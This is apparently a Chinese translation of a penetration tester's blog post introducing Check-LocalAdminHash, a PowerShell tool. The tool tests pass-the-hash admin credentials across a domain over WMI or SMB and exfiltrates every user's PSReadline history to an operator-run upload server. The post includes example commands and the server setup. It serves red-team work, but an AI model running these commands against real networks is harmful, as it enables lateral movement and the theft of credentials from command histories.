Check-LocalAdminHash & 渗透所有PowerShell历史记录
作者:Beau Bullock
TL;DR
Check-LocalAdminHash是一款新型PowerShell脚本,可针对多台主机验证密码哈希是否为有效的管理员凭证,并能够从该凭证具有管理员权限的所有系统中提取每个配置文件下的所有PowerShell PSReadline控制台历史记录文件。
获取地址:https://github.com/dafthack/Check-LocalAdminHash
历史记录收集需求
在最近的一次评估中,我需要收集网络中所有系统的PowerShell控制台历史记录文件(PSReadline)。PSReadline控制台历史记录本质上是PowerShell版本的bash历史记录。自PowerShell 5版本起,所有在PowerShell终端中输入的内容都会被记录到磁盘文件中,可能包含密码等敏感信息。
技术挑战与环境限制
该环境中存在广泛使用的本地管理员哈希凭证(无明文密码),同时部署了多种安全工具:多个EDR和行为分析产品、应用程序白名单、多因素认证保护的RDP,且目标主机的SMB协议不可访问。唯一可用的协议是Windows管理规范(WMI)。
技术方案实现
通过组合多种现有工具实现功能:
- 使用PowerView模块获取域中所有计算机列表
- 利用Kevin Robertson的Invoke-TheHash工具进行哈希传递认证
- 通过Invoke-WMIExec连接每个主机并执行编码的PowerShell命令
- 发现系统所有配置文件中的PSReadline文件后,通过POST请求发送到可控Web服务器
Check-LocalAdminHash功能特性
该脚本可作为独立工具验证密码哈希在网络中的管理员权限分布,支持:
- WMI和SMB协议认证
- CIDR格式、列表格式或单机目标指定
- 域主机自动枚举功能
示例命令
通过WMI验证本地管理员哈希:
Check-LocalAdminHash -Domain testdomain.local -UserDomain testdomain.local -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -AllSystems
渗透所有PSReadline历史记录文件:
Check-LocalAdminHash -Domain testdomain.local -UserDomain testdomain.local -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -AllSystems -ExfilPSReadline
PSReadline渗透服务器搭建
安全警告:需设置面向互联网的文件上传服务器,建议采取严格防火墙限制和HTTPS加密传输。
搭建步骤:
- 部署可HTTP/HTTPS访问的Web服务器
- 将index.php脚本放置到Web根目录(/var/www/html)
- 创建上传目录并设置权限:
mkdir /var/www/html/uploads chmod 0777 /var/www/html/uploads
- 安装PHP并重启Apache:
apt-get install php service apache2 restart
- 在Check-LocalAdminHash.ps1脚本中修改
$Url
变量指向服务器index.php页面
技术实现原理
该工具整合了PowerView的域枚举功能和Invoke-TheHash的哈希传递认证技术,95%代码基于这两个工具开发。支持多线程操作,可通过修改文件发现模块实现其他功能扩展。
致谢
- Kevin Robertson的Invoke-TheHash工具
- Will Schroeder和Matt Graeber等人的PowerView工具
- Steve Borosh提供的多线程技术支持
相关项目:
- Invoke-TheHash:https://github.com/Kevin-Robertson/Invoke-TheHash
- PowerView:https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
公众号二维码